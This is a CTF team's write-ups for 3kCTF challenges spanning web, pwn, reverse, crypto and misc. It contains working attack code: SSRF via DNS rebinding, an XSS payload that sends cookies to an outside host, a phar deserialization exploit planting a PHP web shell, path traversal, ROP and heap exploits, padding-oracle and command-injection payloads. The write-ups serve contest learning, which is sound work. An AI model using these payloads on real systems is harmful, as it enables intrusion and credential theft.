reporter (Web; 498 points)
Solved by apple.
Author: rekter0
Reporter is an online markdown reporting tool. it's free to use for everyone. there's a secret report we need located here
Walkthrough
The application provide markdown hosting service and it will automatically download and embed external images (or any files) to the 'report'.
There are 4 buttons on the interface: Edit
, Preview
, Save
, and Deliver
.
The first target of the challenge is to access the secret_report
.
curl http://reporter.3k.ctf.to/secret_report
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
...
Well, knew that.
Exploiting TOCTOU of the domain checking
Interesting things happen in backend.php.
if(@$_POST['deliver']){
$thisDoc=file_get_contents($dir.'/file.html');
$images = preg_match_all("/<img src=\"(.*?)\" /", $thisDoc, $matches);
foreach ($matches[1] as $key => $value) {
$thisDoc = str_replace($value , "data:image/png;base64,".base64_encode(fetch_remote_file($value)) , $thisDoc ) ;
}
When user click on the deliver
button it will get the saved document, fetch_remote_file
and embed it to the report with base64
. Therefore users can embed images from external image hosting sites such as imgur etc.
How about embedding the secret_report
? It does not work as it do a long list of checks:
function fetch_remote_file($url) {
$config['disallowed_remote_hosts'] = array('localhost');
$config['disallowed_remote_addresses'] = array("0.0.0.0/8", "10.0.0.0/8", "100.64.0.0/10", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/29", "192.0.2.0/24", "192.88.99.0/24", "192.168.0.0/16", "198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "224.0.0.0/4", "240.0.0.0/4",);
// ...
$addresses = get_ip_by_hostname($url_components['host']);
$destination_address = $addresses[0];
// ... checks if the destination_address is in the disallowed list ...
$opts = array('http' => array('follow_location' => 0,));
$context = stream_context_create($opts);
return file_get_contents($url, false, $context);
}
function get_ip_by_hostname($hostname) {
$addresses = @gethostbynamel($hostname);
if (!$addresses) {
// ... more attempts to get dns A records ...
}
return $addresses;
}
If we change the DNS record very quickly, which the DNS server return 1.1.1.1
at get_ip_by_hostname
when it do the checking, and we return 127.0.0.1
at file_get_contents
we can access the localhost
and maybe we can get the secret_report
.
Therefore I wrote a script1 to act as a nameserver and give different responses.
$ dig +short 4kctf.example.com @8.8.8.8
1.1.1.1
$ dig +short 4kctf.example.com @8.8.8.8
127.0.0.1
payload
![](http://4kctf.example.com/secret_report/)
The result is a file listing with two files:
3ac45ca05705d39ed27d7baa8b70ecd560b69902.php
secret2
63b4bacc828939706ea2a84822a4505efa73ee3e.php
not much here
The 3ac45ca05705d39ed27d7baa8b70ecd560b69902.php
is suspicious as it have 50 bytes but only 7 bytes returned from server. Maybe the flag is there.
Wonders of PHP: empty("0") == true
I crafted this payload to read the file and get the flag.
![](0:/../secret_report/3ac45ca05705d39ed27d7baa8b70ecd560b69902.php)
Back to the backend.php
fetch_remote_file
, besides DNS checking it also parse_url
and checks scheme
, port
, etc.
function fetch_remote_file($url) {
// ...
$url_components = @parse_url($url);
if (!isset($url_components['scheme'])) {
return false;
}
if (@($url_components['port'])) {
return false;
}
if (!$url_components) {
return false;
}
if ((!empty($url_components['scheme']) && !in_array($url_components['scheme'], array('http', 'https')))) {
return false;
}
if (array_key_exists("user", $url_components) || array_key_exists("pass", $url_components)) {
return false;
}
// ...
return file_get_contents($url, false, $context);
parse_url
will parse as follows
array(2) {
["scheme"]=>
string(1) "0"
["path"]=>
string(62) "/../secret_report/3ac45ca05705d39ed27d7baa8b70ecd560b69902.php"
}
Where the scheme
will return true
for isset
and true
for empty
(empty("0") == true
), and for file_get_contents
it will recognize 0:
as a folder and 0:/../
as current folder.
xsser (Web; 499 points)
Solved by ozetta.
Description
challenge
Author: Dali
Walkthrough
Source code is provided:
<?php
include('flag.php');
class User
{
public $name;
public $isAdmin;
public function __construct($nam)
{
$this->name = $nam;
$this->isAdmin=False;
}
}
ob_start();
if(!(isset($_GET['login']))){
$use=new User('guest');
$log=serialize($use);
header("Location: ?login=$log");
exit();
}
$new_name=$_GET['new'];
if (isset($new_name)){
if(stripos($new_name, 'script'))//no xss :p
{
$new_name = htmlentities($new_name);
}
$new_name = substr($new_name, 0, 32);
echo '<h1 style="text-align:center">Error! Your msg '.$new_name.'</h1><br>';
echo '<h1>Contact admin /req.php </h1>';
}
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
setcookie("session", $flag, time() + 3600);
}
$check=unserialize(substr($_GET['login'],0,56));
if ($check->isAdmin){
echo 'welcome back admin ';
}
ob_end_clean();
show_source(__FILE__);
From the challenge name it is about XSS. After setting $_GET['login']
, you can enter something in $_GET['new']
, which is supposed to be reflected on the page for XSS.
Thanks to ob_start();
and ob_end_clean();
, nothing about the user input are printed in the normal case.
To address this, we can make the interpreter panic before ob_end_clean();
. Maybe unserialize
could do so?
But most of the time unserialize
just returns FALSE when you input some garbage that is "un-unserialize-able" (pun intended)
Let's try to unserialize some meaningful junks:
<?php
foreach (get_declared_classes() as $c) {
unserialize('O:'.strlen($c).':"'.$c.'":0:{}');
}
It shows Fatal error: Uncaught Error: Invalid serialization data for DateTime object
. So DateTime
should do the trick.
How about the actual XSS payload? We can't use <script src=//blah></script>
.
For some reason script<script src=//blah></script>
could bypass that stripos
but it is too long.
Later on I found that /req.php
accepts external URLs as well. So we can use some other tricks like window.name
:
<script>name='location="//blah/"+document.cookie';location='//127.0.0.1/?new=%3Cbody%20onload=eval(name)%3E&login=O:8:%22DateTime%22:0:%7B%7D';</script>
Remarks
At first I tried the payload with iframe but Chrome blocks the Set-Cookie
header due to "third-party cookies preference".
Then I tried the payload with form and Chrome blocks the popup as expected. But for some reason the Headless Chrome works.
image uploader (Web; 498 points)
Solved by ozetta.
Description
challenge
source
Author: Dali
題解 (Walkthrough)
我知你睇唔明廣東話架啦. 今次有翻譯.
I know you don't understand Cantonese. This time got translation.
個 description 得兩條奸笑5678. 是但啦有醬油有計傾.
(Some unimportant gibberish)
一開 index.php
就見到 include('old.php');//todo remove this useless file :\
After opening
index.php
then we can see that include stuff...
明眼人一睇就知係伏啦. 一睇兩個 Class 重唔係玩 unserialize.
Obviously it is the vulnerable point. It contains 2 classes so obviously it is about unserialize.
碌落 D (唔好譯啦你譯唔到個 D 架啦) 個 index.php 見到 file_get_contents. 條件反射 phar unserialize
Scroll down [Don't translate that "D", you can't] that index.php, we can see
file_get_contents
. It immediately links to phar unserialize
有個 upload.php
真係可以 upload 野. 不過會 check getimagesize
同 image/jpeg
There is an
upload.php
that can really upload things. But it checks withgetimagesize
andimage/jpeg
.
睇返個 old.php
, 又係驗眼嘅時間. 最底有個 $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
但係無咩用.
Let's go back to
old.php
and check our eyesight. The bottom$data = "<?php...
looks interesting but unless.
除非個 sprintf('%012d', $expire)
可以整走個 exit()
啦.
Unless
sprintf('%012d', $expire)
could be used to get rid of thatexit()
.
再碌上 D 見到個詭異嘅 variable function return $serialize($data);
. 咁開心.
Scroll up a bit then we can see a weird variable function
return $serialize($data);
. So exciting.
所以如果將 $this->options['serialize']
改做 system
就可以行 system
.
So if we set
$this->options['serialize']
tosystem
then we could runsystem
.
但係個 $data
要點砌呢. 根據所謂 POP 可以 trace 到:
But how can we control
$data
? According to the so-called Property-Oriented Programming, you can trace like this:
$this->options['serialize']($data) //cl2->serialize
=> $this->serialize($value) //cl2->set
=> $this->store->set($this->key, $this->getForStorage(), $this->expire); //cl1->save
=> return json_encode([$this->cleanContents($this->cache), $this->complete]); //cl1->getForStorage()
首先個 $data
有少少限制. 因為係 json_encode
個 Array.
First, the
$data
is a bit restricted. Because it is constructed byjson_encode
-ing an array.
不過你想用 system
行 command 其實可以好求其. 好似咩 $(ls)
.
But if you just need to use
system
to execute command, it is pretty flexible. Like using$(ls)
.
最後可以砌到好似 system('["$(ls)",0]')
.
At the end of the day we should be able to construct like
system('["$(ls)",0]')
.
要 trigger cl1->save
, destructor 個 $this->autosave
要 false.
If you want to trigger
cl1->save
, in the destructor,$this->autosave
should be false.
依家有齊啲餡啦. 要搵返 phar 個 payload.
We are cooking with gas. Now we need to get the phar payload.
邊鬼個會記得點寫. 抄返自己個威噏.
Who the heck will remember how to write the payload. Just copy my own write-up.
https://github.com/ozetta/ctf-challenges/wiki/Envy-(Tangerine)
由 $p = new Phar('malware.phar');
果行抄起 (好似係)
Copy the payload starting from
$p = new Phar('malware.phar');
上面記得抄返個 Class definition 同埋改晒 D property 佢.
Remember to copy the class definitions and change the properties to the desired one.
個 getimagesize
同 image/jpeg
點算? 求其攝個 jpg 向頭咪得囉.
How to tackle
getimagesize
andimage/jpeg
? Just inject a jpg file in front.
Final payload
<?php
class cl1 {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
//add your own properties
$this->cache = ['$(echo PD89YCRfR0VUWzBdYDs= | base64 -d > /var/www/html/up/z.php)'];
$this->autosave = 0;
$this->complete = 0;
}
}
class cl2 {
public function __construct(){
//add your own properties
$this->options['serialize'] = "system";
$this->writeTimes = 0;
$this->options['prefix'] = '';
$this->options['data_compress'] = 0;
}
}
$x = new cl1(new cl2(),"z",0);
$p = new Phar('malware.phar');
$p->startBuffering();
$p->addFromString("z","");
$j = file_get_contents("1.jpg");
$p->setStub($j."<?php __HALT_COMPILER(); ? >");
$p->setMetadata($x);
$p->stopBuffering();
$file = file('malware.phar');
之後 upload 個「圖」, 出返個 "filename.jpg". 之後讀 php://filter/convert.base64-encode/resource=phar:///var/www/html/up/filename
.
Then upload that "image", will return "filename.jpg". Then access
php://filter/convert.base64-encode/resource=phar:///var/www/html/up/filename
.
之後點玩自己諗啦. 提示: 估下 PD89YCRfR0VUWzBdYDs=
係咩先.
The rest is left as an exercise for the readers. (Hint: decode
PD89YCRfR0VUWzBdYDs=
)
Remark
呢題咁易都搞咗我個半鐘真係失敗。
https://twitter.com/confus3r/status/1286850105513930752
慘。早啲起身咪有 First Blood (好似係
carthagods (Web; 496 points)
Author: rekter0, Dali
Salute the carthagods!
Hints
Exploit
The challenge provided the redacted sourcecode as hints.
.htaccess
...
RewriteRule ^([a-zA-Z0-9_-]+)$ index.php?*REDACTED*=$1 [QSA]
index.php
...
<?php
if(@$_GET[*REDACTED*]){
$file=$_GET[*REDACTED*];
$f=file_get_contents('thecarthagods/'.$file);
if (!preg_match("/<\?php/i", $f)){
echo $f;
}else{
echo 'php content detected';
}
}
?>
...
The php script accepts user provided $file
path without any sanitation, however the GET parameter is redacted.
The .htaccess
file rewrite the path to index.php with the GET parameter. Lets try the folder thecarthagods
as shown in the php file.
curl http://carthagods.3k.ctf.to:8039/thecarthagods
We got the token
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://carthagods.3k.ctf.to:8039/thecarthagods/?eba1b61134bf5818771b8c3203a16dc9=thecarthagods">here</a>.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at carthagods.3k.ctf.to Port 8039</address>
</body></html>
With the token we can do path traversal
curl "http://carthagods.3k.ctf.to:8039/index.php?eba1b61134bf5818771b8c3203a16dc9=../../../../../etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
However we cannot print the content of flag.php
directly
curl "http://carthagods.3k.ctf.to:8039/index.php?eba1b61134bf5818771b8c3203a16dc9=../flag.php"
<textarea class="label-input100" style="color:black;width: 100%;height: 300px;">php content detected </textarea>
From the phpinfo provided we can know opcache is enabled, with opcache.file_cache
set to /var/www/cache/
. Maybe we can get the compiled version of flag.php
and get its content.
The opcache will store the cache in the format /var/www/cache/<system_id>/path/to/file.php.bin
, with system ID generated from PHP version, Zend version etc. Therefore, I spin up a Ubuntu VM and install the same version of php, enable opcache to get the same system ID.
The system ID is: e2c6579e4df1d9e77e36d2f4ff8c92b3
curl "http://carthagods.3k.ctf.to:8039/index.php?eba1b61134bf5818771b8c3203a16dc9=../../../../var/www/cache/e2c6579e4df1d9e77e36d2f4ff8c92b3/var/www/html/flag.php.bin" --output -
...
<textarea class="label-input100" style="color:black;width: 100%;height: 300px;">OPCACHEe2c6579e4df1d9e77e36d2f4ff8c92b3�x��_Jqҍ@������������������������_���Ӛ��_/var/www/html/flag.php������/var/www/html/flag.php1����q��������d!=
VPyi0���Y�Į��{�opcache_get_statush���JK��&3k{Hail_the3000_years_7hat_are_b3h1nd}`Lq�(��<iframe width="560" height="315" src="https://www.youtube.com/embed/y8zZXMLBin4" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>֖|�flag </textarea>
...
linker (Pwn; 493 points)
Solved by cire meat pop.
Program
root@kali:~/3kctf/linker# ./linker
Welcome to your secret journal!
Provide name size:
8
Provide a name:
abcd
Welcome abcd
! What would you like to do?
1- Get new blank page
2- Edit page content
3- Empty a page
4- Relogin
5- Exit
>
This seems to be a heap challenge, which allow user to create, edit and free a chunk. Also, it provides a weird function (i.e., relogin) for changing the name which does nothing to the other functions, and usually means it will be used for later exploit.
Vulnerability
In 3- Empty a page
:
puts("Provide page index:");
read(0, &buf, 4uLL);
idx = atoi(&buf);
if ( idx < 0 || idx > 4 )
{
puts("Wrong index kiddo...");
}
else if ( check_pages[idx] )
{
free(pages[idx]);
check_pages[idx] = 0; // vuln
--number_pages;
}
After freed a chunk, only the check[idx]
is set to 0; and in Edit page content:
puts("Provide page index:");
read(0, &buf, 4uLL);
idx = atoi(&buf);
if ( idx < 0 || idx > 4 )
{
puts("Wrong index kiddo...");
}
else if ( pages[idx] ) // not checked
{
puts("Provide new page content:");
read(0, pages[idx], (int)page_size[idx]);
}
Edit function won't check check[idx]
, which means we can overwrite a free chunk.
Exploit
As we can overwrite any data into the free chunk, we can perform some attack to overwrite __malloc_hook
or __free_hook
with one gadget rce.
However, we had two problems.
- tcache techniques won't work with calloc
- Solution: We filled up tcache and perform fastbin attack.
- Theres are no show functions to leak libc addresses
- Solution: We utilize unsorted bin attack to write unsorted bin address to
name
, then relogin to print the content ofname
.
- Solution: We utilize unsorted bin attack to write unsorted bin address to
Problem
can't access tty; job control turned off
Will this means we can't open the shell? Whatever, we change the approach from utilizing one gadget RCE to calling the system
function.
We can overwrite __free_hook
with system
, then free a chunk with content /bin/cat flag
, yielding system("/bin/cat flag")
. However, if we want control __free_hook
, we need to try harder.
Finally, we perform fastbin attack to control pages
and check_pages
, edit the pointer of each page to an arbitrary address, and eventually we have arbitrary address write.
3k{unlink_the_world_and_feel_the_void}
one and a half man (Pwn; 493 points)
Solved by cire meat pop.
Program
ssize_t vuln()
{
char buf; // [rsp+6h] [rbp-Ah]
return read(0, &buf, 0xAAuLL);
}
This is a short function that obviously vulnerable to buffer overflow.
I have solved similar challenge before, and my approach was to overwrite first 2 byte the read_got
to run one gadget RCE. It involves 4 bit randomness to satisfy, hence I have a 1/16 chance to solving it.
It works, but can't access tty; job control turned off
. Okay, I shouldn't forgot shell interaction is disabled from this server.
Exploit
I find a syscall
near the one gadget RCE so that we can jump to syscalls. It's time to construct ROP:
mov eax, 0 ; pop rbp ; ret g1(in binary)
mov edx, eax ; mov eax, edx ; ret (in libc)
pop rdi; ret (in binary)
pop rsi; pop r15; ret (in binary)
move eax, 0x3b; syscall (in libc)
By this ROP chain we can set edx
(the third argument) to 0, control rdi
and rsi
(the first and the second arguments) and call sys_execve
.
sys_execve(*filename, argv[], envp[])
To cat flag
:
sys_execve('/bin/cat', ['/bin/cat', 'flag'], 0)
Finally our script:
payload = "a"*18 + flat(pop_rsi_r15, buf, 0, read_plt, vuln)
p.send(payload)
sleep(0.5)
string = "/bin/cat".ljust(0x10,"\x00")+p64(buf)+p64(buf+0x28) \
+p64(0)+"flag"+"\x00"*4
p.send(string)
sleep(0.5)
payload2 = flat(pop_rsi_r15, setvbuf_got, 0, read_plt, pop_rsi_r15, read_got, \
0, read_plt, g1, buf, setvbuf_plt, pop_rdi, buf, pop_rsi_r15, \
buf+0x10, 0, read_plt)
ret
p.send("a"*18 + payload2)
sleep(0.5)
p.send("\x5b\xd6") # (in libc) mov edx, eax ; mov eax, edx ; ret
sleep(0.5)
p.send("\x72\x04") # (in libc) move eax, 0x3b; syscall
sleep(0.5)
p.interactive()
3k{one_byte_and_a_half_overwrite_ftw!}
microscopic (Reverse; 488 points)
Solved by Mystiz.
Open with IDA pro. There is a curious function defined on sub_F7C
:
unsigned __int64 __fastcall sub_F7C(unsigned int a1)
{
case 3:
// ...
// v3 hereby is the length of the length of the target ciphertext
ciphertext[v2] = (v3 ^ input[v12]) + v2;
// ...
break;
case 4:
// ...
v9 = ciphertext[v12] != target_ciphertext[v12];
// ...
break;
}
Hereby target_ciphertext
is is an array of 39 integers, located on 0x202020
. We can simply write a Python script that extract target_ciphertext
and compute the corresponding input.
elf = ELF('challenge/micro')
target = elf.read(0x202020, 39*4)
target = [unpack('I', target[4*i:4*i+4])[0] for i in range(39)]
target = [(c-i)^39 for i, c in enumerate(target)]
print(bytes(target))
# 3k{nan0mites_everywhere_everytime_ftw!}
game (Reverse/Misc; 486+477 points)
Solved by eriri.
game 1
find your way to the heart of the maze
game 2
the shortest route is often the best
You are given an Unity game folder at the beginning. When you start the game, you are in a dark maze. You can walk but not jump nor run. Nothing will be triggered when you walk out of the maze.
I think there should be multiple ways to solve the challenge. One solution will be physcially break the maze. How to do that? By deleting the walls object in the level.
With Unity Assets Bundle Extractor, we are able to delete walls in /CTF_Data/level0
(which is level of the maze).
After deleting some of the wall objects (for me I selected the GameObject Wall
with number greater than 100) and returning to the game, you will find a wall that marks the flag for game 2
:
There are some characters missing in the wall because we deleted some of the characters by accident. We did a bit of guess and finally got the flag: 3K-CTF-A-MAZE-ING
.
There are also some floating walls inside the maze. When you walk through it you will get a word overlayed on the top left corner.
Decompiling /CTF_Data/Managed/Assembly-CSharp.dll
will get you the logic of the game.
If you find and hit the 6 walls with the right order (I guess it should be the shortest path from the starting point to the flag room), the game will output you a flag. If not, an error message will be displayed.
Here in UABE we found 6 assets with duplicated names. It should correspond to the 6 floating walls in the game.
After some tries (with a bit of luck), we were able to get the flag for game 1
.
Flag: 3K-CTF-GamingIsNotACrime
.
Reference: https://github.com/imadr/Unity-game-hacking
pyzzle (Reverse/Misc/Crypto; 459+479 points)
Solved by crabmony and Mystiz.
Part 1
We are given a concrete syntax tree that is from LibCST.
We referred to the documentation and traverse the tree manually. Eventually we have manually parsed the tree into a Python script:
import binascii
plaintext = 'REDACTED'
def exor(a, b):
temp = ""
for i in range(n):
if a[i] == b[i]:
temp = 0
else:
temp = 1
return temp
def BinaryToDecimal(binary):
string = int(binary, 2)
return string
PT_Ascii = [ord(x) for x in plaintext]
PT_Bin = [format(y, '08b') for y in PT_Ascii]
PT_Bin = "".join(PT_Bin)
n = 26936
K1 = '...' # Redacted as this binary string is too long.
K2 = '...' # Ditto
L1 = PT_Bin[:n]
R1 = PT_Bin[n:]
f1 = exor(R1,K1)
R2 = exor(f1, L1)
L2 = R1
f2 = exor(R2, K2)
R3 = exor(f2, L2)
L3 = R2
R3 = '...' # Ditto
L3 = '...' # Ditto
cipher = L3 + R3
plaintext = L6 + R6
plaintext = int(plaintext, 2)
plaintext = binascii.unhexlify('%x' % plaintext)
print(plaintext)
Since we are given everything (except the plaintext), we are able to recover the plaintext by reversing the operations. We ended up with a STP file that contains the flag: 3k{almost_done_shizzle_up_my_nizzle}
.
Part 2
From the STP file, apart from the flag, we have a bunch of nodes and edges. This part we are connecting the dots with Python:
def parse_line(line):
return list(map(int, line.split(' ')[1:]))
def main():
with open('pyzzle2') as f:
lines = f.read().strip().split('\n')
edges = list(map(parse_line, lines[8:124]))
points = list(map(parse_line, lines[127:271]))
point_map = {}
for id, x, y in points:
point_map[id] = (x, y)
im = Image.new('1', (1850, 110), color=1)
draw = ImageDraw.Draw(im)
for id1, id2, _ in edges:
x1, y1 = point_map.get(id1)
x2, y2 = point_map.get(id2)
draw.line((x1, y1, x2, y2), fill=0)
im.save('flag.png')
main()
Flag: 3K-PYZZLE_FO_SHIZZLE_MY_NIZZLE
.
A hundred friends (Crypto; 496 points)
Solved by Mystiz.
key = RSA.generate(1024)
pad = random.randint(1, 2**UPPER_BOUND)
exp = random.randint(1, 3)
c = pow(m**exp + pad, 3, key.n)
This is a challenge similar to Multicast in PlaidCTF 2017.
Theoretically, we should be able to recover the original message with 3 ciphertexts, assuming that those ciphertexts are encrypted with exp = 1
.
We have written the core logic to retrieve the message, given some ciphertexts:
def attempt(subpairs):
n = len(subpairs)
# (m + pi)^3 = ci (mod ni)
cs = list(map(lambda pair: pair[0], subpairs))
ns = list(map(lambda pair: pair[1], subpairs))
ps = list(map(lambda pair: pair[2], subpairs))
nprod = reduce(mul, ns)
gs = [[0 for _ in range(n)] for _ in range(3+1)]
for i in range(n):
for j in range(3+1):
gs[j][i] = binomial(3, j) * pow(ps[i], j, nprod) % ns[i]
gs[3][i] = ((gs[3][i] - cs[i]) % ns[i] + ns[i]) % ns[i]
gg = [int(crt(gs[i], ns)) for i in range(3+1)]
# Defines e, Zn = Zmod(nprod) and the parameters for the
# Coppersmith's attack here. Omitted
roots = coppersmith_howgrave_univariate(pol, nprod, beta, mm, tt, XX)
if len(roots) > 0:
return roots[0]
(Some functions are copied from mimoo/RSA-and-LLL-attacks. They are not included here for simplicity)
However, we are unable to recover the message from sampling three ciphertexts in 100 rounds (it should happen in around 27 rounds). The reason is the message isn't small enough for Coppersmith's attack. Hence, we are sampling more ciphertexts (from 3 to 5) and the attack worked:
n = 5
attempt_count = 0
while True:
random.shuffle(pairs)
subpairs = pairs[:n]
attempt_count += 1
if attempt_count % 100 == 0:
print(f'Attempt {attempt_count}')
m = attempt(subpairs)
if m is None: continue
m = int(m)
flag = m.to_bytes(length=(m.bit_length() + 7)//8, byteorder='big')
print(subpairs)
print(flag)
break
# b'3k{H4st4d_St1ll_Rul3S}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
Note that there is a chance to return m^2
or m^3
. As I am lazy, I just run the script again until it returns m
.
RSA textbook (Crypto; 496 points)
Solved by Mystiz.
This challenge is similar to De1CTF's easyRSA. By reading the same reference paper [Howgrave-Graham 1999], we have the matrix in session 3.3. By using the matrix directly and perform LLL, we can recover d1
(the private key that corresponds to e1
). We can then recover phi(n)
and thus compute d
(that corresponds to e
), hence decrypting the ciphertext: 3k{hOwGr4v3_gr4h4m_and_s31F3rt_4re_C00l}AAAAAAAAAAAAAAAAAAAA
.
You shall not get my cookies (Crypto; 495 points)
Solved by Mystiz.
This is a standard padding oracle attack.
def connect():
HOST = 'youshallnotgetmycookies.3k.ctf.to'
PORT = 13337
global debug
if debug:
context.log_level = 'debug'
else:
context.log_level = 'error'
r = remote(HOST, PORT)
return r
def oracle(ciphertext):
r = connect()
payload = binascii.hexlify(ciphertext)
r.sendlineafter(b'~ So... whats your cookie:', payload)
r.recvuntil(b'~ ')
res = r.recvline().strip()
r.close()
return res != b'That cookie looks burned!'
def main():
ciphertext = binascii.unhexlify('90C560B2A01529EF986E54B016E1FEAAD79A54BE52B373311E3B4F8251BE269EC199AE6B370BFCE50A54EEC25ABB0F22')
po = PaddingOracle(oracle, threads=16)
plaintext = po.recover(ciphertext)
print(plaintext) # b' chocolate chip cookie\n\n\n\n\n\n\n\n\n\n'
ciphertext = po.forge(b'Maple Oatmeal Biscuits' + b'\x0a' * 10)
r = connect()
r.sendlineafter(b'~ So... whats your cookie:', binascii.hexlify(ciphertext))
r.interactive()
# ~ YES, that is exactly what i wanted!
# ~ Take it! 3k{Y3t_An0th3r_Padd1ng_Oracle}
main()
once upon a time (Crypto; 492 points)
Solved by Mystiz.
With a bit of code review, it is running a block cipher with block size = 1 (Source: the encrypt_file
method in /src/cipher.c
). The key is also redacted from the source (Source: /src/main.c
). Moreover, surprisingly, the key is not redacted from the binary.
*(_QWORD *)v45 = '\x01\0\0\0\x01\x01\x01\0';
*(_QWORD *)&v45[8] = '\x01\0\x01\0\0\x01\x01\0';
*(_QWORD *)&v45[16] = '\x01\0\x01\0\x01\0\0';
*(_QWORD *)&v45[24] = '\x01\x01\x01\x01\x01\0\0\x01';
*(_QWORD *)&v45[32] = '\x01\0\0\0\0\0\x01\x01';
But if you think I am going to reverse the algorithm, you are wrong. I'm just using the binary as an encryption oracle.
def encrypt(plaintext, mode):
context.log_level = 'error'
with open('plaintext', 'wb') as f:
f.write(plaintext)
r = process(['challenge/scss', 'plaintext', 'ciphertext', 'encrypt', mode])
r.wait_for_close()
r.close()
with open('ciphertext', 'rb') as f:
ciphertext = f.read()
return ciphertext
def recover(target_ciphertext, mode):
message = b''
for i in range(len(target_ciphertext)):
for j in range(256):
plaintext = message + bytes([j])
ciphertext = encrypt(plaintext, mode)
if target_ciphertext.startswith(ciphertext):
message = plaintext
print(i, message)
break
return message
def main():
with open('challenge/flag_encrypted', 'rb') as f:
target_ciphertext = f.read()
# print(recover(target_ciphertext, 'ecb'))
# print(recover(target_ciphertext, 'cbc'))
# print(recover(target_ciphertext, 'cfb'))
print(recover(target_ciphertext, 'ofb'))
# b'3k{my_hands_are_registered_as_lethal_weapons_that_means_we_get_into_a_fight_i_accidentally_kill_you_i_go_to_jail}'
flood (Misc; 495 points)
Solved by Mystiz.
We have a service running remotely. The source code, service.pl
, is given to us. Perl sadness2 strikes back...
Obviously, we can actually earn more gold by selling gold. From the source code:
print "? how much gold u wanna spend\n";
print "! 1 GOLD = 1000 POINTS\n> ";
my $subm = <STDIN>;
chomp $subm;
if( ($subm) <= $gold and int($subm)>=0){
$gold -= ($subm);
$points += ($subm)*1000;
}
Why? We can set $subm = -0.9999
... In this case we can generate as much gold as we want.
Another vulnerability comes from theh following line that runs during load game. This API opens if you are rich enough -- well, we are.
# $name is what we can control. However, `.`, `/` and ` ` are forbidden.
open (SAVEGAME, "/app/files/".$name) or break;
How? For example, if $name = "||ls|";
it executes ls
from shell. But what if we want to execute ls /
given that and /
are forbidden? In short, we can use \t
(<TAB>) in place of the (<SPACE>), and $(expr\tsubstr\t$PWD\t1\t1)
in place of /
.
Hence, we can send use ||ls\t"$(expr\tsubstr\t$PWD\t1\t1)"\t-al|
as our name and the directory can be listed. The following line is curious...
-rw-r--r-- 1 root root 30 Jul 23 14:26 fcad0373020fa6ede979389f558b396f4cd38ec1_README'
We can use cat /fcad0373020fa6ede979389f558b396f4cd38ec1_README
(with the above substitution) as our name. Finally the flag is there: 3k{p333rl_aInt_7hat_deAd_Y3t}
.
libcDB (Misc; 494 points)
We are given a libc database search (which looks useful and we should definitely have one ourselves!). Playing with the API we have met the following error:
> .search fprintf 0x4b970 ..
jq: error: Invalid numeric literal at EOF at line 1, column 3 (while parsing '...') at <top-level>, line 1:
. as $maindb | .libcDB[] | select(.symbol=="fprintf") | select(.address|contains("309616")) | ...
jq: 1 compile error
If we have to make an educated guess on the actual query, it would be:
jq '. as $maindb | .libcDB[] | select(.symbol=="[SYMBOL]") \
| select(.address|contains("[ADDR]")) | .[FILTER]' test.json
Read along the documentation of jq
, we have experimented around:
> .search fprintf 0 |$maindb|keys|{id:.[]}
Found:
id libcDB
Found:
id users
> .search fprintf 0 |$maindb.users[]|keys|{id:.[]}
Found:
id password
Found:
id username
> .search fprintf 0 |$maindb.users[]|{id:.username,symbol:.password}
Found:
id 3k
symbol notaflag
Found:
id James
symbol Hetfield
Found:
id Lars
symbol Ulrich
Found:
id Dead
symbol pool
Found:
id admin
symbol v3ryL0ngPwC4nTgu3SS0xfff
Found:
id jim
symbol carrey
Okay. Great, we have the credentials of the admin. Connecting to the service again, and this time we are signing in with it.
$ nc libcdb.3k.ctf.to 7777
Login > admin
Password > v3ryL0ngPwC4nTgu3SS0xfff
Authenticated {"users":{"username":"admin","password":"v3ryL0ngPwC4nTgu3SS0xfff"}}
__ _ _ ____ _____
| | |_| |_ ___| \| __ |
| |__| | . | _| | | __ -|
|_____|_|___|___|____/|_____|
as a service
Type .help for help
> .secret
3k{jq_is_r3ally_HelpFULL_3af4bcd97f5}